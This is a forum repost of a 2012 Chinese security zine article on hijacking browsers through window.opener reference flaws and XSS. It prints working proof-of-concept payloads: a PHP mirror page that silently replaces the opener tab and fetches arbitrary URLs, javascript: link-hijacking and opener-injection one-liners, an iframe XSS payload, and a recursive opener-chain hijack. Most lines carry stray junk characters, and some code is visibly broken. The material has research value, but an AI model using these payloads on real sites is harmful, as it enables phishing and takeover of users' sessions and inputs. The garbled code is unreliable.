找回密码
 立即注册
查看: 2227|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==0 j0 J3 `: m4 J8 c0 x, k' T
% R- }9 y9 _& x( }
                       Issue 0x03, Phile #0x05 of 0x07
. C$ @  c7 c1 p9 W2 P4 O - n% H  r0 U8 @. w$ Z8 m5 Z

% l0 U, z& _! r4 f: \* `% o|=---------------------------------------------------------------------------=|* `' a7 G; ?: Z' l/ |6 H
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|; R3 J$ K5 ?1 Y
|=---------------------------------------------------------------------------=|
. B- F# r( ]& I  J& g( |/ C; w|=---------------------------------------------------------------------------=|
& s, @. c, c! D7 O2 w|=------------------------=[      By rayh4c     ]=---------------------------=|
' n7 x& W: t: L7 X7 ]; g|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|1 _: g% f9 B6 X9 y9 H3 G8 x/ u
|=---------------------------------------------------------------------------=|& J6 T& o2 g0 z! d* B) O/ G

& H  i& w) a3 \- B$ {
) L" n  k/ C6 T2 |3 f. L[目录]" F4 P# n# x# U1 f, ^& G8 |4 _

. j4 N; o* p+ x9 I1. 前言0 C: J) c! [% ?
2. 同源策略简叙: P! b% N1 v; z* Q+ d
3. 理解window对象的同源策略6 F5 T2 _, D- {4 c7 d7 G) f% r
4. 窗口引用功能中的同源策略漏洞% I6 d/ e" }! e: o$ c7 ]
  4.1 父窗口引用子窗口的同源策略问题$ m4 U8 \/ A* m8 }: T9 D
  4.2 子窗口引用父窗口的同源策略问题
: V6 f& O3 S9 }* W. z- B+ `6 z5. 利用窗口引用漏洞劫持浏览器! m1 G- Q" v) C0 b/ U  H
6. 利用XSS漏洞劫持浏览器3 V/ k- l" F4 `- C- u8 [+ P+ g$ Q
  6.1 正向跨窗口劫持9 K! x+ n6 B% J; R7 g) h
  6.2 反向跨窗口劫持4 M/ }4 C5 a/ d4 [& Q
  6.3 极度危险的跨框架窗口引用劫持
, ~9 u; T$ m# S2 \, f4 @5 L$ P  6.4 极度危险的正反向跨窗口递归劫持
. E/ r+ X1 T$ j: K9 W7 O' ^! a  6.5 完全控制浏览器
* M8 n. P% [# {+ @7. 后记
' u9 S5 ~; ]" C7 _8. 参考
/ R' J1 l1 W/ T3 [) \5 ~0 ~
9 `1 Z- e% G' s9 z# \* Q2 M9 w' V) p* E* x8 k
一、前言& z: M' O, F' {. ^/ w+ t* n3 w
8 w' m; s- i9 {: W) X: U( s
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
4 k9 r4 o( Q3 Q) x" z友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session8 B' T' e! S, Z, \5 @5 e
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* h9 h* N  @) M. [, D# o
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
5 d" O3 E$ s$ l" t: h
9 i' G4 p, Z3 V( c! B5 c! r4 ~
/ S: e( F3 _9 f, r* j- ^' h, X二、同源策略简叙4 U. T" S; k0 E+ d+ q9 C

" H5 n4 X; q6 J    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
) ?- v8 P6 P# Q/ R8 h  g; M5 H从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都& w  f, z: h4 a& q9 B' s
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
- U# Y+ c( G9 s- |# ?- Z马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个1 c5 c3 i2 D$ j
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。. |7 Y& q# e) m4 }4 R- l$ ]$ ^

: ~7 U% }" }- T; F$ f9 E, s: ]8 K# d( q# o# f8 d! s/ i
三、理解window对象的同源策略; \. m' _* `0 b! k; G
& V" }5 t7 H6 m* f
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
  ^  m- U7 J# D+ o, m! B0 B" n象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:, g: l2 K: t' ~( y. l& d
0 f) l" z& V- M7 ?+ w4 _! M# O
--code-------------------------------------------------------------------------$ e. u! ], [. g5 F, e) E( e
<script language="javascript">- J6 Z+ {, P  U! d2 y" H5 u1 q
for(p in window) document.write(p+"<br>");+ d/ K/ `, d  t! P
</script>) S: j' y0 j% N. C; p; L/ x6 ~, c
-------------------------------------------------------------------------------
: D# o0 n2 l! t2 f2 G9 R6 M2 v5 G4 u$ y6 L9 N5 V
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# U& I+ T% U8 P8 d& q  B9 C
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# R0 d4 U4 s. O9 Y# g这些属性和方法就必须遵循同源策略。. a; v1 n- f" k, n+ `4 c  k' w9 ]
" i4 V# [% g- i* }3 Z! a. w* {9 H
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
! T1 a  ], Q: o( g. [么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须  |/ T6 `) Q1 {% M8 }2 W+ W" y3 l5 c
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
0 k& M& `/ d2 Q; D! M个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的* O" J* i  b' T( p
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
* j* g/ t  Z0 k* |* s/ k属性并没有被拒绝访问。, ]- c5 c$ A. I* H) L; P) B7 d) ]

: n* C. B+ q8 K; C--demo.html--------------------------------------------------------------------. ]$ K1 ^* f! X, ~
<script language="javascript">   
' P$ S1 R6 b3 r2 E) l0 tfunction allPrpos(obj) {      3 s) z* B. G8 R2 H* D
      var props = "<table><tr><td>名称</td><td>值</td>";           3 X9 r3 @- K# Y6 P# O1 ~4 }- \* B
      for(var p in obj){         
  z  I5 `. m+ k8 p            if(typeof(obj[p])=="function"){   
' R1 l0 S' z& E: `" V* ^% M, P- c                   obj[p]();   : v$ @3 u' O5 S
             }else{                     
( [/ m/ C5 R% S; p+ ?6 i                  try   ) B4 s  u+ W; {
                   {   * m  ~% r4 t% }) b. g0 c
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
- B, D4 t, e% o7 U                   }   
/ z# N2 H( A6 [7 j                  catch (ex)   
2 [3 `& b+ e; i7 c. \2 w9 K- ?* O1 g                   {   
9 |) C" l7 e2 N1 T/ K                   5 _! K& l- U* ?& O3 L/ }' u" X
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
  O7 ]8 s& E; w7 D7 A" L) y" z                   }   
& f2 Z3 L' F# C7 a. D                       
( t7 a8 M5 Z. [4 D# s% R% h& Z4 s             }   2 M8 W' y$ B" A$ B$ M4 T) l
       }   
: k4 i6 S' M- ~+ i5 ]. Q' g) \& O% l2 x   0 I' C8 z  c$ C! K
       document.write(props+"</table>");     z" d; r& |0 A$ `# G
}   0 }8 H) z( R8 @; k7 V& S0 y
   1 h+ @7 U* r# Q. y* n
function createWin() {1 p/ h7 M8 d9 q: {& f
        newWin = window.open ("http://www.google.com");  1 i' |: T* z% G1 U& Z0 \
        setTimeout(function(){allPrpos(newWin)},2000);
$ L9 y3 @; j! D6 k& ^}
# j3 _" Y) _3 z* r- Y" @$ t# ]3 }) }# j7 h# K3 l  @0 L# W& l/ r
</script> & `$ R+ R2 p% ]4 }

" k5 j# P/ B7 x( F<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 t, d: L) ?& I9 n" I-------------------------------------------------------------------------------
0 I9 H( r* s% Q* G* c! m( {
' B& T6 X* V0 I0 z" _2 H& p% H( C, z7 ?( X& R) r5 C
四、窗口引用功能中的同源策略漏洞
* u, b0 U! r& f4 w6 F$ j1 a8 e- ~1 \7 x
4.1 父窗口引用子窗口的同源策略问题
$ f( X: H- R8 u0 i0 V# n- {5 E& `$ \7 i) O9 L! t1 V* j( \8 p6 B
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,8 o( i- P! b5 a1 v' G  ]3 T  z+ F
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
1 G' Q* A$ ~7 r) C浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进5 Y  h& K: ?; y, }" D* u8 g$ Z
行测试,会发现父窗口可以控制非同源子窗口location属性值。
& _$ K, I1 U8 S9 _2 q8 K# p) W4 y/ v  @3 ]& _0 a( J
--vul1.html--------------------------------------------------------------------. h, ?. K$ _" i% P/ ~
<script language="javascript"> / t' u/ p% ]8 D& s
function createWin() {  9 L9 p, a# k4 [' t. a4 g6 H5 u
        newWin = window.open ("http://www.google.com");  ; n3 f; u* Z8 F; v& }3 |; q- @5 O
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); / M% h) c+ ^) q% I' L$ M$ B
}
' N* f4 S) V# E/ Y7 |: Q( t</script>2 z5 r! K9 X# }; x& |' t
& C$ {1 [: L3 _0 A7 n, g4 f, N
<button onclick='createWin()'>创建一个非同源子窗口测试</button>9 O! C$ M" `" ^: a" W7 h
-------------------------------------------------------------------------------% B6 c. ?0 P7 @

0 e( ~; ^+ S& n$ l4 Y) v3 `9 l
0 j% h& X* z4 Q* C. I5 ]8 e4 l4.2 子窗口引用父窗口的同源策略问题
+ B- s$ H, a& c0 b% Q. s7 b7 u/ n& D5 u* T+ V9 w9 e
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使- o% F% }3 e- \) `) t0 v6 f0 u
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
3 f5 K. h2 Z: E8 `1 x5 @可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
& Q8 ]) {- z5 n! P7 E- |1 T, a会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; @! W& V; S! n( {8 P
$ ~- H. ]) A) @9 J" e" }. i" t4 J
--code-------------------------------------------------------------------------7 x3 P8 P0 m! N; D9 m: t
/ E/ V$ ]1 I% L0 u
javascript:window.opener.location = "http://www.80sec.com";void(0);1 ?, R( P' s  S- l' \
2 K8 K+ o5 X3 y$ F! T2 O+ B: M# w
-------------------------------------------------------------------------------
( x% S1 E, Z$ T; L" G3 X
: E* Q3 y( ]) G8 m% h  `) q1 M0 Y2 i( {9 X9 p* V2 I) U3 M# `
五、利用窗口引用漏洞劫持浏览器
6 E1 y, }, H7 J9 K( q% B; b3 v
2 x" {7 C; T: f  V7 w+ ]; w    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
1 O6 o; S! `/ p( c窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那/ d$ b, y0 y' |9 |4 q
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。$ \1 o4 c0 Z  i. C" e5 I
) q( M& V& d  d8 h& ]
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产! Y! k9 k6 l8 W+ G2 k2 c
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或7 e. P" `, U. D  Z- F
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接% A- y8 e3 L; K. l
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下! e  P2 d5 e) o1 `+ f
会产生什么可怕的后果。  y8 E# |8 o- f, Z8 b/ [* x; H! q: L* Y
1 \2 x. c& P) \+ B
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我# Z& t( A% k4 b! Q$ F+ u  d
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php9 n4 G* _8 c0 F1 D2 A5 ?0 p
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时' O) O6 t# b3 {. s8 E
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
, [! M6 o. d9 ^! N以做更多的事情,所有的一切仅仅是因为点击了一个链接。
% n2 D, S3 T# _+ ^1 m# |7 a, Z) F/ k# O; ^# m
--hjk_ref.php------------------------------------------------------------------; R& Y/ E& X* |* l! d: m: P
<?php
+ b' f2 b3 R0 l# Z7 Hif (array_key_exists("HTTP_REFERER", $_SERVER)) {) L6 o9 L( d  ]5 O# y# \% N# M
$Url_Mirror = $_SERVER["HTTP_REFERER"];
& k5 p. _* U: _2 |" e# k} / P0 R. r# Z& I7 @( K: \4 l
if(isset ($_GET['ref'])) {" R! w8 E7 s/ P5 I! f! f; y
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';" S; }- ~5 T. }# |* {( z: l+ v; A% a
}. n7 c1 l0 {3 `$ m) y
?>
5 j) M' h) N4 Z
6 {. m5 Y0 L5 V; `( e* b<script language="javascript">
3 R# `0 q' S. p8 `) A3 UsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);           o8 x6 a; d, {" i/ Y0 [1 J( p
</script>8 r+ `& N4 Y+ U, v) S# {) D0 d
-------------------------------------------------------------------------------: ~& a3 n8 n* d9 s" w; w6 `4 M
5 m" o! ~" [" b. t* K; J, R
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
# x& G. c8 Q8 J* G8 c1 J+ {
- R' Z3 b8 R* b! J4 N
, Q  i7 ^+ Q+ y, n5 I& Q9 G六、利用XSS漏洞劫持浏览器
6 u% z* `% a% j; c$ D; l# X& D7 \4 i; j4 q) v
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为" M2 w  y* h2 a  V/ A
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
& p7 l5 d" |3 P( vXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起* @% R+ S5 m7 s3 S2 S' S+ N
讨论跨站师的终极技巧:
4 R/ j0 Q- Y3 i& u. l! l# q/ e
- d) h: Q# e* i1 {0 l
( b& g3 A' Z1 s6.1 正向跨窗口劫持  v* h/ C1 m7 _
+ Y: C- q, O. Y0 R! w; \: K  ]; i% n
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* t3 J7 l- B) A, ?5 m  i主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链8 s; d$ E2 e# U' L& Y/ P- f
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) H# P; e- o" Y' T$ z7 T: h) H" P
框脚本。
( V' W6 N5 q2 c! u
6 J+ o9 X4 @8 t4 ?2 h6 P+ j) z8 N2 _--hijack_open.js---------------------------------------------------------------8 Q$ Q% f! u* P' m+ @! P

+ ?6 }- [; t) Y* V5 rjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
/ T; W& Y* R6 Q  F
* e2 e& ?, ?- t+ b, U-------------------------------------------------------------------------------
1 o3 K9 k0 `* g9 V& C9 ]3 [8 M& y; c6 F9 ?9 J

" y* Z( ~# Z7 _. N7 K1 N# W1 G6.2 反向跨窗口劫持
9 l; i/ l7 K' a* S) F& u+ i1 ]( g" B
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代" E3 C& X" b3 i) ~% F
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
. t. ]/ [$ f" h3 q, n# _/ S1 k框脚本。
8 C$ n* x+ h; a4 E
  p$ L! `; W* ]; G% ~--hijack_opener.js-------------------------------------------------------------
8 D9 |1 F- k3 @7 W/ C
& X8 e: Q0 X4 R! s  ]2 j$ tjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
; j8 l6 |+ }* T# |' ]! j- G' F- F, Q4 o
-------------------------------------------------------------------------------
8 H* @, y& Q2 r+ b7 B; @$ r' m$ R* C$ G6 t
3 c; E. j- g3 i. j4 ^
6.3 极度危险的跨框架窗口引用劫持
; h1 q# [1 }( D& u! }+ X
) Z* k1 Z. @* p( G. w    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞3 K5 B: k) g3 T* a
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就" D( E" R/ t, {1 h8 h
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
7 c) ~' Q( g7 x0 y0 c非持久型的XSS,如下:
' j( \2 X( Q1 j8 J. s: ?
8 }. M5 r& E" H* ~1 u1 K( z<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
3 P7 o6 ^8 t! x/ k' u$ T/ N
4 w6 N5 j1 V! L    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口  j- g2 |/ I' f% }
注入脚本。
. @  A& f# a0 V3 z1 ~, T" W3 W7 X/ Z
& x9 B/ f" y  f; r--hijack_frame_opener.js-------------------------------------------------------
) Z9 }% F2 A# e3 {0 q<script>
& `( v- M/ ^9 [: t- J$ ]3 f7 Swindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";% o% q9 c, r( B0 @! i0 i
</script>
8 ~- _0 z( j4 q-------------------------------------------------------------------------------8 h, o" z+ t& G

, p& D) }9 L/ i8 s& @5 [
9 s! G! Y9 G% J- ~* S. D6.4 极度危险的正反向跨窗口递归劫持2 c, g! q- ~. p- n$ E

& t  m* L0 S; b' N, c! U    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
& q$ V9 ?) C/ N- M的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过! {( p! z; e" W
异常处理规避之间跨域页面的访问异常,代码如下:
/ m  K$ }: L. g( C7 J1 n3 [8 x) r5 r3 u8 X5 q4 e) D. s6 [# \3 e4 D0 R
--code-------------------------------------------------------------------------
* t% w0 Y4 D3 E% |
4 p* e% i. P/ `+ R% \javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
0 a. ]' N1 m1 G! F
" ~- d4 ?0 L& v-------------------------------------------------------------------------------; |) E* O: `% r0 b
- B( v  |! v) a2 i
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可8 {9 X7 i/ j0 C. u
以劫持B域之前的A域页面,从而实现“隔空打击”。
" v2 ?  r" o+ T6 b5 M% P9 @, B/ _* }5 ]2 m* u
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面2 Z3 f, f* E( [7 J1 t
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。- S$ S5 `7 I* ]; s  ~+ O, C7 ?
7 Y4 X$ n/ E0 M6 @4 `2 Z2 B: ~0 c
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
- q2 _( S& m: U" ?: z* @4 N- L, Q! R7 V  B
# p1 n! i' P1 ?6 C
6.5 完全控制浏览器: t1 |- r' t7 s

- h( g0 x* r; Z5 Z    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 j, ]; _8 X" p$ t是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS; }2 n8 |8 ?  s
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失# ~) z+ O5 ?9 O' t6 h4 n& w0 Q! \3 ]
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
0 p, K& T1 e+ l/ Y2 x列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站- ~4 j! }9 t( X6 A) Q' b
师的终极目标 - 完全控制浏览器。- u5 Y- d, l0 V7 p

( K4 o( A9 r: D5 q% M
7 ?7 Z% b4 i4 }0 X: t$ n0 |# G七、后记
" V' A4 x% y: t# k2 s/ k
0 U6 B$ b' X6 h$ m) ^    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全& [- `7 `& ?4 \
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
* ^/ Q0 T9 M* L7 Q. J4 v! V过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。! R3 j6 g; n2 J$ L: [3 O
. j6 O5 j6 M6 X; F2 i

' `! M3 U4 \$ w: }八、参考
) x7 e: W# V8 e# a3 L# q' K- y; ?" ]; K6 v+ B9 R' Q
1. http://en.wikipedia.org/wiki/Same_origin_policy
- ], _$ P' y6 B# z2. http://code.google.com/p/browser ... licy_for_DOM_access
& T$ @! d/ B( i2 A* h4 d! d0 @3. http://www.w3.org/TR/Window/
9 r7 Z! W# _5 J$ o) p5 z/ a4. http://www.80sec.com/release/browser-hijacking.txt
& g) r; `- d: H" |' n# G. Y# f5. http://www.80sec.com/all-browser-security-alert.html
) S4 _, n: G5 X% s6. http://www.80sec.com/ms08-058-attacks-google.html
7 m% r, z. U. [
2 O. D, ?$ C; P  q-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表